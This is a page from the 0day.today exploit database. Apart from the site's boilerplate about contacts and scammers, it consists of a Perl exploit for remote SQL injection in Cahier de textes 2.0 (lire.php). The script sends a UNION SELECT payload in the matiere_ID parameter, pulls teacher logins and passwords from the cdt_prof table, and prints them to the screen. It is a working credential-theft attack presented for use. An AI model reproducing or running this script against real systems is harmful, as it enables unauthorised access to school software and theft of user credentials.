0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Cahier de texte 2.0 (lire.php) Remote SQL Injection Exploit
=========================================================== Cahier de texte 2.0 (lire.php) Remote SQL Injection Exploit =========================================================== # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Cahier de textes # Pierre Lemaitre - St L? (France) - Ver 2.0 # # Remote SQL injection Exploit # # Discovred By s4mi # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # exploit Coded by simo64 # # all thanks to simo64,drackanz,hardose,r00t #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # #!/usr/bin/perl use IO::Socket ; &header(); &usage unless(defined($ARGV[0] && $ARGV[1])); $host = $ARGV[0]; $path = $ARGV[1]; syswrite STDOUT ,"\nConnecting ..."; my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); die "\nUnable to connect to $host\n" unless($sock); syswrite STDOUT, "[OK]"; $inject = "1&matiere_ID=-1+union%20select%20null,CONCAT(nom_prof,CHAR(58),CHAR(58),passe)%20FROM%20cdt_prof/*"; syswrite STDOUT ,"\nSending Data ..."; print $sock "GET $path/lire.php?classe_ID=1&matiere_ID=$inject HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Referer: $host\n"; print $sock "Accept-Language: en-us\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n"; print $sock "Cache-Control: no-cache\n"; print $sock "Connection: Close\n\n"; syswrite STDOUT ,"[OK]\n\n"; while($res = <$sock>){ #print $res;sleep(1); if($res =~ /class="Style6">(.*?)::(.*?)<\/td>/){ print "Exploit Succeded !\n\n";sleep(1); $userlogin = $1 ; $userpass = $2; print "adminlogin : $userlogin\n";sleep(1); print "adminpasswd : $userpass\n";sleep(1); $succeded = "ok"; } } if(!defined($succeded)) {print "\nExploit Failed\n";} else {print "\nEnjoy ;)";} sub usage{ print "\nUsage : perl $0 host /path/ "; print "\nExemple : perl $0 www.victime.net /cahier/\n"; exit(0); } sub header(){ print q( ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cahier de textes v2.0 Pierre Lemaitre - St L (France) - Ver 2.0 Remote SQL injection Exploit by s4mi ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ); } # 0day.today [2024-11-15] #